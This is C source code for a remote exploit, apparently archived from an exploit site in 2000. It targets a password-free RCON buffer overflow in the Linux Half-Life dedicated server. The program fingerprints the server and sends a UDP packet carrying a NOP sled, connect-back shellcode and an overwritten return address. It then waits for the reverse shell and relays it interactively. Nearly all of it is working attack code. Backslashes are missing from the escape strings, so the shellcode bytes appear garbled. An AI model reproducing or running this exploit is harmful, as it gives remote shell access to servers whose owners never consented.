Code:
/*
* SDI HalfLife rcon remote exploit for linux x86
* (portuguese) exploit remoto para o buffer overflow do rcon no halflife
*
* Tamandua Sekure Labs (Sao Paulo - Porto Alegre, Brazil)
* by Thiago Zaninotti (c0nd0r) < >
* Gustavo Scotti (csh) < >
*
* Proof of concept - There is a remote exploitable buffer overflow
* in Half Life server (3.1.0.x) for linux (HLDS). The problem is
* related to the RCON command (Remote CONsole).
* (port.) Existe um buffer overflow exploitavel no Half Life Server
* (HLDS) relacionado ao comando RCON.
*
* After several tests, we found out the 'rcon' command is also vulnerable
* to a format string attack which can also lead to a remote exploit.
* (port) O comando RCON tambem e' vulneravel a um format string attack.
*
* YOU DO NOT NEED THE RCON PASSWORD TO EXPLOIT THIS VULNERABILITY,
* which means any multiplayer server is vulnerable to the attack.
* (port) Voce nao precisa de password para explorar esta vulnerabilidade,
* o que significa que qualquer servidor e' vulneravel.
*
* Agradecimentos: Tamandua Sekure Labs, Fabio Ramos ( ),
* Eduardo Freitas, Marcos Sposito, Roberto Monteiro (casper),
* Nelson Britto (stderr), Sabrina Monteiro, Gabriel Zaninotti e
* Felipe Salum. A todos os leitores da Best of Security Brasil (BOS-BR).
*
* Respects: c_orb, el8.org (specially duke), meta, guys at core sdi,
* the "infame" TOXYN.ORG (pt rocks) - r00t, pr0m, horizon, plaguez,
* ratao and p.ulh.as/promisc.net crew. Greetz to AXUR.ORG too! guys at
* sekure.org: vader, jamez, falcon and staff.
*
* also thanks to botman ( ).
* Visit the brazilian security portal: http://www.securenet.com.br
*/
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
typedef unsigned long u32;
typedef unsigned short u16;
typedef unsigned char u8;
unsigned char shellcode[]=
"xebx03x5exebx1dxe8xf8xffxffxff "
"x2fx62x69x6ex2f"
"x73x68x40x31xc0x66x40x66x40x66x89x06x31xc9xb1x08"
"x89xf7x83xc7x08x30xc0x88x07x47x49x75xfax31xc0x89"
"x46x28x40x89x46x24x40x89x46x20x8dx4ex20x31xdbx43"
"x31xc0x83xc0x66xcdx80x89xc7x89x46x20x8dx06x89x46"
"x24x31xc0x83xc0x10x89x46x28x8dx4ex20x31xdbx43x43"
"x43x31xc0x83xc0x66x57xcdx80x5fx31xc0x83xc0x3fx89"
"xfbx31xc9xcdx80x31xc0x83xc0x3fx31xdbx31xc9x41xcd"
"x80x31xc0x83xc0x3fx31xdbx31xc9x41x41xcdx80x89xf0"
"x83xc0x18x89x46x18x31xc0x88x46x17x89x46x1cxb0x0b"
"x8dx4ex18x8dx56x1cx89xf3x83xc3x10xcdx80x31xc0x40"
"xcdx80";
/* NET functions */
int
udp_read( int sock, u32 *daddr, u16 *port, void *ptr, u16 ptr_size)
{
struct sockaddr_in server;
int i,n;
i = sizeof(server);
n=recvfrom( sock, ptr, ptr_size, 0, (struct sockaddr *)&server, &i);
*daddr = ntohl(server.sin_addr.s_addr);
*port = ntohs(server.sin_port);
return n;
}
int
udp_send( int sock, u32 daddr, u16 port, void *ptr, u16 ptr_size)
{
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons( port);
server.sin_addr.s_addr = htonl( daddr);
return sendto( sock, ptr, ptr_size, 0, (struct sockaddr *)&server, sizeof(server));
}
int
udp_connect( u32 addr, u16 port)
{
struct sockaddr_in client;
int new_fd;
new_fd = socket( AF_INET, SOCK_DGRAM, 0);
if (new_fd<0)
return new_fd;
bzero( (char *) &client, sizeof( client));
client.sin_family = AF_INET;
client.sin_addr.s_addr = htonl( addr);
client.sin_port = htons( port);
if (connect( new_fd, (struct sockaddr *)&client, sizeof(client))<0)
return -1; /* cant bind local address */
return new_fd;
}
u32 dns2ip( u8 *host)
{
struct hostent *dns;
u32 saddr;
dns = gethostbyname( host);
if (!dns)
return 0xffffffff;
bcopy( (char *)dns->h_addr, (char *)&saddr, dns->h_length);
return ntohl(saddr);
}
int
async_read( int sock_r, int rettime)
{
fd_set fd_r;
struct timeval tv;
char try_ch[4]="/-\|";
int r,j;
for (r=0;r<rettime;r++)
{
for (j=0;j<20;)
{
int i;
printf("b%c", try_ch[(j%4)]);
fflush(stdout);
FD_ZERO( &fd_r);
FD_SET( sock_r, &fd_r);
tv.tv_sec = 0;
tv.tv_usec = 50000;
i =select( sock_r + 1, &fd_r, NULL, NULL, &tv);
if (!i) { j++; continue; }
if (i>0)
if (FD_ISSET(sock_r, &fd_r)) return sock_r;
else
return -1;
}
}
return -1;
}
int
get_server_info( int sock, u32 addr, u16 port)
{
u32 r_addr;
u16 r_port;
int n, i;
u8 pkt[256], *str;
pkt[0] = pkt[1] = pkt[2] = pkt[3] = 0xff;
sprintf(&pkt[4], "details");
n = udp_send(sock, addr, port, pkt, strlen(pkt));
printf(". connecting to the server... "); fflush(stdout);
if (async_read(sock, 6)<0)
goto server_down;
n = udp_read(sock, &addr, &port, pkt, sizeof(pkt));
if (n<0)
{
server_down:
printf("bserver down!r*n");
exit(0);
}
printf("bdonen");
str = &pkt[4];
str+=strlen(str)+1;
printf("t server_name [%s]n", str); str+=strlen(str)+1;
printf("t map_name [%s]n", str); str+=strlen(str)+1;
str+=strlen(str)+1;
printf("t game_name [%s]n", str); str+=strlen(str)+1;
printf("tusers_online [%d of %d]n", str[0], str[1]); str+=3;
printf("t remote_OS [%s]n", (str[1]=='w' ? "windows" : (str[1]=='l' ? "linux" : "unknown")));
if (str[1]=='w') return 2;
if (str[1]=='l') return 1;
return 0;
}
u32 retrieve_local_info(int sock, u8 *host)
{
struct sockaddr_in server;
int soclen;
soclen = sizeof(server);
if (getsockname(sock, (struct sockaddr *)&server, &soclen)<0)
{
printf("error in getsocknamen");
exit(0);
}
snprintf(host, 256, "%s:%d", inet_ntoa(server.sin_addr), htons(server.sin_port));
return htonl(server.sin_addr.s_addr);
}
int
bind_tcp( int *port)
{
struct sockaddr_in mask_addr;
int sock, portno=25000; /* base_port */
sock = socket( AF_INET, SOCK_STREAM, 0);
if (sock<0)
return sock;
redo:
mask_addr.sin_family = AF_INET;
mask_addr.sin_port = htons( portno);
mask_addr.sin_addr.s_addr = 0;
if (bind(sock, (struct sockaddr *)&mask_addr, sizeof(mask_addr))<0)
{
error:
portno++;
if (portno>26000)
{
printf("* no TCP port to bind in.n");
exit(0);
}
goto redo;
}
if (listen( sock, 0)<0)
goto error;
printf(". TCP listen port number %dn", portno);
*port = portno;
return sock;
}
wait_for_connect(int sock)
{
fd_set fds;
u8 tmp[256];
int tcp, addr_len;
struct sockaddr_in server;
printf(". waiting for connect_back shellcode responde... ");
if (async_read(sock, 15)!=sock)
{
printf("bfailed!r*n");
exit(0);
}
tcp = accept( sock, (struct sockaddr *)&server, &addr_len);
printf("bconnectedn. ^---> from %s:%dn", inet_ntoa(server.sin_addr), ntohs(server.sin_port));
close(sock); /* closing incoming socket */
printf(". congratulations. you have owned this one.n");
/* basic async mode */
while (1)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(tcp, &fds);
if (select(tcp+1, &fds, NULL, NULL, NULL)>0)
{
if (FD_ISSET(0, &fds))
{
int n;
n = read(0, tmp, 256);
if (n<0)
goto end_conn;
if (write(tcp, tmp, n)!=n) goto end_conn;
}
if (FD_ISSET(tcp, &fds))
{
int n;
n = read(tcp, tmp, 256);
if (n<0)
goto end_conn;
if (write(0, tmp, n)!=n) goto end_conn;
}
}
}
end_conn:
close(tcp);
printf(". bye-bye. Stay tuned for more Tamandua Sekure Labs codes.n");
}
assembly_shell_code(int sock, u32 addr, u16 port, u32 laddr, u8 *linfo)
{
u8 pkt[2048],
*shell_ptr;
struct sockaddr_in *sc_server;
u32 ret_addr = 0xbfffb1f4, last_byte = 1014, over_head = 40;
int i, n, tcp, tcp_port;
printf(". localinfo %sn", linfo);
tcp = bind_tcp( &tcp_port);
sc_server = (struct sockaddr_in *)&shellcode[10];
sc_server->sin_addr.s_addr = htonl(laddr);
sc_server->sin_port = htons(tcp_port);
last_byte-=strlen(linfo);
pkt[0] = pkt[1] = pkt[2] = pkt[3] = 0xff;
sprintf( &pkt[4], "rcon ");
i = strlen(pkt);
shell_ptr = &pkt[i];
/* find out how many nops we can push before shellcode */
n = last_byte - i - sizeof(shellcode)-1 - over_head;
for (i=0;i<n;i++)
shell_ptr[i] = 0x90; /* nop */
shell_ptr+=i;
/* fill in the shellcode */
for (i=0;i<sizeof(shellcode)-1;i++)
shell_ptr[i] = shellcode[i];
shell_ptr+=i;
/* fill in the overhead buffer */
for (i=0;i<over_head;i++)
shell_ptr[i] = '-';
shell_ptr+=i;
/* fill return address and ebp */
*(u32 *)shell_ptr = ret_addr; shell_ptr+=4;
*(u32 *)shell_ptr = ret_addr; shell_ptr+=4;
/* finalize string */
*shell_ptr = 0;
n = udp_send( sock, addr, port, pkt, strlen(pkt));
printf(". sending poison code. %d bytes sentn",n);
wait_for_connect(tcp);
}
usage()
{
printf("n. usage: hl-rcon <server ip[:port]>n");
exit(-1);
}
main(int argc, char **argv)
{
u32 addr, laddr;
u16 port;
int sock, i;
u8 linfo[256], *tmp = NULL;
printf(". half-life 3.1.0.x remote buffer-overflow for linux x86n");
printf(". (c)2000, Tamandua Sekure Laboratoriesn");
printf(". Authors: Thiago Zaninotti & Gustavo Scottin");
if (argc<2)
usage();
tmp = (u8 *)strchr(argv[1], ':');
if (tmp)
{
*tmp = 0; tmp++;
port = atoi(tmp);
}
else
{
printf(": port not found, using default 27015n");
port = 27015;
}
addr = dns2ip(argv[1]);
if (addr==0xffffffff)
{
printf("host not found!n");
exit(0);
}
sock = udp_connect( addr, port);
laddr = retrieve_local_info(sock, linfo);
if (get_server_info(sock, addr, port)!=1)
{
printf("this is not a linux server. Make a shellcode to it and have funn");
exit(0);
}
assembly_shell_code(sock, addr, port, laddr, linfo);
}
// milw0rm.com [2000-11-16] |